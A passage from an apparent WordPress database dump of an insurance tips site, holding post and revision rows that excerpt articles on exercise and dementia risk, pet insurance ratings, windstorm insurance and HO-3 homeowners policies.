IMPACT OF MOVEMENT ON OLDER ADULTS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Exercising regularly as an adult has a multitude of benefits. But regular exercise is not only helpful to maintain your physical fitness. Research has shown that it can also help keep your brain active. So – an important question – can physical exercise reduce the risk of dementia in senior citizens? Both debilitating and devastating, the crippling effects of dementia are distressing to watch unfold. So if we can find a way to avoid it developing in the first place – or at least, stave it off from happening at a less advanced age – why wouldn’t we follow through? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed, mature adults engaging in regular physical activity have been found to decrease their risk of developing the disease by as much as 25%. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this isn’t enough of a case for incorporating movement into our lives as we get older, we don’t know what is. If the answer is as simple as moving our bodies more frequently, it’s a no-brainer. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','Healthy Habits: How to Effectively Adapt Your Exercise Routine As You Age','','inherit','closed','closed','','4070-revision-v1','','','2024-05-20 03:33:00','2024-05-20 03:33:00','',4070,'https://smartinsurance.tips/?p=4072',0,'revision','',0),(4073,1,'2024-05-20 03:36:02','2024-05-20 03:36:02','<!-- wp:paragraph -->\n<p>Consumer Reports’ first-ever ratings of pet insurers can help you decide whether buying coverage makes financial sense, or can provide peace of mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4074,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-4074\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>When asked if I’m a cat or a dog person, my answer is yes. We’ve got one of each at my house: Logo, who’s been our good boy for two years now, and Phoebe, who arrived at the door as a stray kitten three years ago. They are both happy, healthy, and uninsured.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For us, pet insurance has long been on the maybe-we-should-look-into-it list, along with getting faster internet or lower-interest-rate credit cards. But our lassitude was called into question early one evening when Phoebe showed up at the back door disoriented, limping, and with a nickel-sized bald spot on her left hind quarter. I was concerned about Phoebe, but also worried things were about to get expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Turns out most of the roughly 65 million U.S. households with a dog and 46 million with a cat don’t insure them, either; just 4.8 million cats and dogs are insured in this country. In a first-ever evaluation for Consumer Reports, we rated eight pet insurance providers—ASPCA, Banfield, Embrace, Fetch, Healthy Paws, Nationwide Pet Insurance, Pets Best, and Trupanion—based on a survey of 2,061 CR members with insured pets, looking at things such as how much the premium cost, the claims process, and whether people had choice in which vets to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/pet-insurance/is-pet-insurance-worth-it-a8622180631/#pet-insurance-details\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Pet Insurance Worth It?','','publish','closed','closed','','is-pet-insurance-worth-it','','','2024-05-20 03:36:04','2024-05-20 03:36:04','',0,'https://smartinsurance.tips/?p=4073',0,'post','',0),(4074,1,'2024-05-20 03:34:51','2024-05-20 03:34:51','','Untitled-14','','inherit','closed','closed','','untitled-14-5','','','2024-05-20 03:34:51','2024-05-20 03:34:51','',4073,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-14.png',0,'attachment','image/png',0),(4075,1,'2024-05-20 03:36:02','2024-05-20 03:36:02','<!-- wp:paragraph -->\n<p>Consumer Reports’ first-ever ratings of pet insurers can help you decide whether buying coverage makes financial sense, or can provide peace of mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4074,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-4074\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>When asked if I’m a cat or a dog person, my answer is yes. We’ve got one of each at my house: Logo, who’s been our good boy for two years now, and Phoebe, who arrived at the door as a stray kitten three years ago. They are both happy, healthy, and uninsured.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For us, pet insurance has long been on the maybe-we-should-look-into-it list, along with getting faster internet or lower-interest-rate credit cards. But our lassitude was called into question early one evening when Phoebe showed up at the back door disoriented, limping, and with a nickel-sized bald spot on her left hind quarter. I was concerned about Phoebe, but also worried things were about to get expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Turns out most of the roughly 65 million U.S. households with a dog and 46 million with a cat don’t insure them, either; just 4.8 million cats and dogs are insured in this country. In a first-ever evaluation for Consumer Reports, we rated eight pet insurance providers—ASPCA, Banfield, Embrace, Fetch, Healthy Paws, Nationwide Pet Insurance, Pets Best, and Trupanion—based on a survey of 2,061 CR members with insured pets, looking at things such as how much the premium cost, the claims process, and whether people had choice in which vets to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/pet-insurance/is-pet-insurance-worth-it-a8622180631/#pet-insurance-details\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Pet Insurance Worth It?','','inherit','closed','closed','','4073-revision-v1','','','2024-05-20 03:36:02','2024-05-20 03:36:02','',4073,'https://smartinsurance.tips/?p=4075',0,'revision','',0),(4076,1,'2024-05-20 03:39:19','2024-05-20 03:39:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4077,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-4077\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Windstorm insurance</strong>&nbsp;is usually an add-on policy for homeowners insurance. It provides protection if a wind event such as a hurricane or tornado damages your home or personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Depending on where you live, damage from wind and hail might be excluded from your standard homeowner insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If this damage is excluded from your policy, you need to purchase an add-on policy to ensure your home is covered from damages of a wind event.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance doesn’t cover storm-surge damages, and it may or may not cover flooding caused by wind damage. If you’re at risk for these perils, you may need a flood policy as well.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance deductibles are typically a percentage of your home’s total insured value.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">How Does Windstorm Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Windstorm insurance is a supplemental policy you can add to your existing homeowners insurance. Also sometimes known as hurricane insurance, this type of policy helps cover you if a severe windstorm, hailstorm, or hurricane damages your home. It’s typically required by mortgage lenders as a condition of the loan for property owners who live in certain locations, such as along the U.S. Gulf Coast or in specific coastal states.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Basic homeowners insurance policies don’t cover every type of peril or natural disaster. Depending on where you live, you may need to purchase additional insurance for hurricanes, windstorms, and floods. You can also opt to purchase additional coverage for earthquakes, although it isn’t legally required.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Windstorm insurance covers damage from wind events. If your home is damaged by an included peril, you start the process of reimbursement by filing a claim with your insurance policy. Before you file the claim, take video and photographic evidence of the damage. You also need to include proof of the storm, so gather any official news sources that verify the information. There may be a time limit for claims, so be sure you file a claim quickly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Typically, windstorm insurance policies include both wind and hurricane deductibles. Others offer a named-storm deductible as well. The type of deductible you pay depends on the variety of storm that caused damage to your home. For instance, hurricane deductibles typically apply to damage from a named storm. Your insurance agent can help you navigate the differences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Regardless of the storm type, it’s important to note that windstorm insurance deductibles are typically calculated based on a percentage of your home’s total insured value. You usually get to select a percentage between 1% to 10% for your deductible, although your insurance company may have different procedures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Example of Windstorm Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Here’s an example: You elect to have a 2% deductible and your home is insured for $250,000. Your deductible would be $5,000. So if a hurricane caused $30,000 worth of damage to your home and the items inside, your check from your insurance company would be the approved amount minus your deductible, or $25,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, the higher your deductible, the lower your premium will be. Selecting a higher deductible can help you save money. However, this means you will have more out-of-pocket expenses if your home is damaged.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">What Does Windstorm Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Windstorm insurance policies cover the inside and outside of your home if it’s damaged by severe wind events. This includes your personal belongings, your home’s physical structure (roof, windows, walls, etc.), and other buildings on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">However, it does not cover damage related to floods and storm surges. In an intense wind event, such as a hurricane, both wind and water damage may occur. Windstorm insurance would only cover water damage in your home that occurred as a direct result of the wind damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What Windstorm Insurance Doesn\'t Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Windstorm insurance may not cover flooding or storm surges from a wind event, it might make sense for you to purchase a flood policy as well.<sup>1</sup>&nbsp;In fact, if you live in an area that’s prone to both windstorms and flooding, your lender may require you to purchase both types of insurance policies. That way, your home is protected from more natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Let’s say you live along the Florida coast, where you’re required to have windstorm insurance. A hurricane comes through, taking the roof off your house. The rain that comes in causes a lot of damage to your second floor. The storm also causes a surge of water to rush into your home, flooding the basement and main floor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Your windstorm insurance would cover the physical damage to your home. Your insurer may also cover the things on the second story damaged by the rain that came in after the roof was blown off. Check your policy to be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">However, because the storm surge wasn’t directly caused by wind damage to your home, the flood damage in your basement and main floor wouldn\'t be covered unless you had a separate flood policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Do You Need Windstorm Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Those in low-risk areas are likely to have windstorm insurance included as part of their standard homeowners insurance. But residents in coastal cities and other high-risk zones may need to purchase a separate policy if they want protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a major storm is on the way, you may not be able to buy windstorm insurance until after it passes. There may also be a waiting period for adding this coverage to your homeowners policy. To ensure you’re protected, buy this policy well before storm season arrives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">You also may be required to have windstorm insurance by your mortgage lender as a condition of your loan. Even if you aren’t required, it’s a wise investment if you live in an area prone to windstorms, hurricanes, tornadoes, or other wind-related disasters. You can speak to your insurance agent to see if this coverage is right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does windstorm insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Windstorm insurance covers damage to your property caused by a wind events such as tornadoes or hurricanes. The coverage may include damage to the exterior or your property, surrounding structures as well as your personal belongings. Windstorm insurance is a supplemental policy that can protect your home if you live in an area that is prone to major wind events, and may be required by lenders in certain areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-windstorm-insurance-5197016\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Windstorm Insurance?','','publish','closed','closed','','what-is-windstorm-insurance','','','2024-05-20 03:39:21','2024-05-20 03:39:21','',0,'https://smartinsurance.tips/?p=4076',0,'post','',0),(4077,1,'2024-05-20 03:37:10','2024-05-20 03:37:10','','Untitled-15','','inherit','closed','closed','','untitled-15-5','','','2024-05-20 03:37:10','2024-05-20 03:37:10','',4076,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-15.png',0,'attachment','image/png',0),(4078,1,'2024-05-20 03:39:19','2024-05-20 03:39:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4077,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-4077\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Windstorm insurance</strong>&nbsp;is usually an add-on policy for homeowners insurance. It provides protection if a wind event such as a hurricane or tornado damages your home or personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Depending on where you live, damage from wind and hail might be excluded from your standard homeowner insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If this damage is excluded from your policy, you need to purchase an add-on policy to ensure your home is covered from damages of a wind event.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance doesn’t cover storm-surge damages, and it may or may not cover flooding caused by wind damage. If you’re at risk for these perils, you may need a flood policy as well.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance deductibles are typically a percentage of your home’s total insured value.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">How Does Windstorm Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Windstorm insurance is a supplemental policy you can add to your existing homeowners insurance. Also sometimes known as hurricane insurance, this type of policy helps cover you if a severe windstorm, hailstorm, or hurricane damages your home. It’s typically required by mortgage lenders as a condition of the loan for property owners who live in certain locations, such as along the U.S. Gulf Coast or in specific coastal states.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Basic homeowners insurance policies don’t cover every type of peril or natural disaster. Depending on where you live, you may need to purchase additional insurance for hurricanes, windstorms, and floods. You can also opt to purchase additional coverage for earthquakes, although it isn’t legally required.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Windstorm insurance covers damage from wind events. If your home is damaged by an included peril, you start the process of reimbursement by filing a claim with your insurance policy. Before you file the claim, take video and photographic evidence of the damage. You also need to include proof of the storm, so gather any official news sources that verify the information. There may be a time limit for claims, so be sure you file a claim quickly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Typically, windstorm insurance policies include both wind and hurricane deductibles. Others offer a named-storm deductible as well. The type of deductible you pay depends on the variety of storm that caused damage to your home. For instance, hurricane deductibles typically apply to damage from a named storm. Your insurance agent can help you navigate the differences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Regardless of the storm type, it’s important to note that windstorm insurance deductibles are typically calculated based on a percentage of your home’s total insured value. You usually get to select a percentage between 1% to 10% for your deductible, although your insurance company may have different procedures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Example of Windstorm Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Here’s an example: You elect to have a 2% deductible and your home is insured for $250,000. Your deductible would be $5,000. So if a hurricane caused $30,000 worth of damage to your home and the items inside, your check from your insurance company would be the approved amount minus your deductible, or $25,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, the higher your deductible, the lower your premium will be. Selecting a higher deductible can help you save money. However, this means you will have more out-of-pocket expenses if your home is damaged.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">What Does Windstorm Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Windstorm insurance policies cover the inside and outside of your home if it’s damaged by severe wind events. This includes your personal belongings, your home’s physical structure (roof, windows, walls, etc.), and other buildings on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">However, it does not cover damage related to floods and storm surges. In an intense wind event, such as a hurricane, both wind and water damage may occur. Windstorm insurance would only cover water damage in your home that occurred as a direct result of the wind damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What Windstorm Insurance Doesn\'t Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Windstorm insurance may not cover flooding or storm surges from a wind event, it might make sense for you to purchase a flood policy as well.<sup>1</sup>&nbsp;In fact, if you live in an area that’s prone to both windstorms and flooding, your lender may require you to purchase both types of insurance policies. That way, your home is protected from more natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Let’s say you live along the Florida coast, where you’re required to have windstorm insurance. A hurricane comes through, taking the roof off your house. The rain that comes in causes a lot of damage to your second floor. The storm also causes a surge of water to rush into your home, flooding the basement and main floor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Your windstorm insurance would cover the physical damage to your home. Your insurer may also cover the things on the second story damaged by the rain that came in after the roof was blown off. Check your policy to be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">However, because the storm surge wasn’t directly caused by wind damage to your home, the flood damage in your basement and main floor wouldn\'t be covered unless you had a separate flood policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Do You Need Windstorm Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Those in low-risk areas are likely to have windstorm insurance included as part of their standard homeowners insurance. But residents in coastal cities and other high-risk zones may need to purchase a separate policy if they want protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a major storm is on the way, you may not be able to buy windstorm insurance until after it passes. There may also be a waiting period for adding this coverage to your homeowners policy. To ensure you’re protected, buy this policy well before storm season arrives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">You also may be required to have windstorm insurance by your mortgage lender as a condition of your loan. Even if you aren’t required, it’s a wise investment if you live in an area prone to windstorms, hurricanes, tornadoes, or other wind-related disasters. You can speak to your insurance agent to see if this coverage is right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does windstorm insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Windstorm insurance covers damage to your property caused by a wind events such as tornadoes or hurricanes. The coverage may include damage to the exterior or your property, surrounding structures as well as your personal belongings. Windstorm insurance is a supplemental policy that can protect your home if you live in an area that is prone to major wind events, and may be required by lenders in certain areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-windstorm-insurance-5197016\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Windstorm Insurance?','','inherit','closed','closed','','4076-revision-v1','','','2024-05-20 03:39:19','2024-05-20 03:39:19','',4076,'https://smartinsurance.tips/?p=4078',0,'revision','',0),(4079,1,'2024-05-20 04:19:55','2024-05-20 04:19:55','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4080,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-4080\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">An HO-3 homeowners insurance policy is the most common type of homeowners insurance, covering all causes of damage to the main dwelling and other structures except those specifically excluded in the policy, such as floods and earthquakes. Other homeowners insurance policies are typically a variation of an HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Learn more about HO-3 homeowners insurance policies, how they work, and how they differ from other homeowners insurance forms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Definition and Examples of an HO-3 Homeowners Insurance Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">All perils, or causes of loss, are covered for damage to your home and other structures, except those that are specifically named on the policy as exclusions. Exclusions might include earthquakes, floods, wear and tear, neglect, and damage caused by freezing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Special Form Policy</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Coverage for your home and other structures is written on an “all-risk basis” ( everything except named exclusions is covered). Personal property, or the contents of your home, is covered on a “named-peril basis” (only damages from perils named are covered).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How an HO-3 Homeowners Insurance Policy Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurance polices are designed to cover damage to property if the loss was caused by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Homeowners insurance policies vary according to the types of property and the number of perils they cover. Policies are typically considered \"open-perils,\" which covers all causes of loss unless excluded, or \"named-perils,\" which covers only specified sources of loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">A common type of homeowners insurance is one that combines attributes of both types—the special form, or HO-3, homeowners insurance policy. An HO-3 homeowners insurance policy, like other homeowners policies, has two parts: Section I (coverages A, B, C, and D) for your property and Section II (coverages E and F) for liabilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Here’s a description of each individual coverage and the general limits most insurers will provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Coverage A: Your Dwelling</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Dwelling coverage pays for damage to your house and any structures attached to it, including plumbing fixtures, electrical wiring, and HVAC systems. Damage must be a result of a covered peril. The limit of your dwelling coverage should be at least 80% or equal to your home’s full replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Property damage to your dwelling and any other structures at your residence, is covered on an open-perils basis. An insurer will reimburse you for losses to your property except those as a result of perils specifically excluded in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Coverage B: Other Structures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Coverage B pays for damage to structures on your property that are not attached to your house. Covered structures include free-standing garages, sheds, fences, and guest cottages among others. Insurers limit this coverage to 10% of your dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Coverage C: Personal Property</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">This coverage reimburses you for the value of the contents of your home, possessions owned by you and people who live with you. Coverage may also include items lost or damaged outside your premises. The coverage limit is usually 50% of your dwelling coverage or any amount agreed on between you and your insurer. Coverage may not include some types of high-value items, also known as scheduled personal property. In an HO-3 policy, coverage for personal property is limited to named perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The contents of your home are covered on a named-peril basis. These perils are listed in the broad form HO-2, which is an HO-2 insurance policy. They include damage from lightning, fire, and theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Coverage D: Loss of Use</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">This coverage helps pay any additional living expenses such as meals and housing if your home is rendered uninhabitable. Insurers limit this coverage to 20% of your dwelling coverage. Insurance companies typically don’t reimburse you for all living expenses. They pay only for the difference between your normal living expenses and extra living expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Coverage E: Personal Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">This coverage helps offset your financial losses if you’re sued or deemed legally responsible for damages or injuries to others. You are not covered in situations where you acted intentionally. You choose your coverage limits for personal 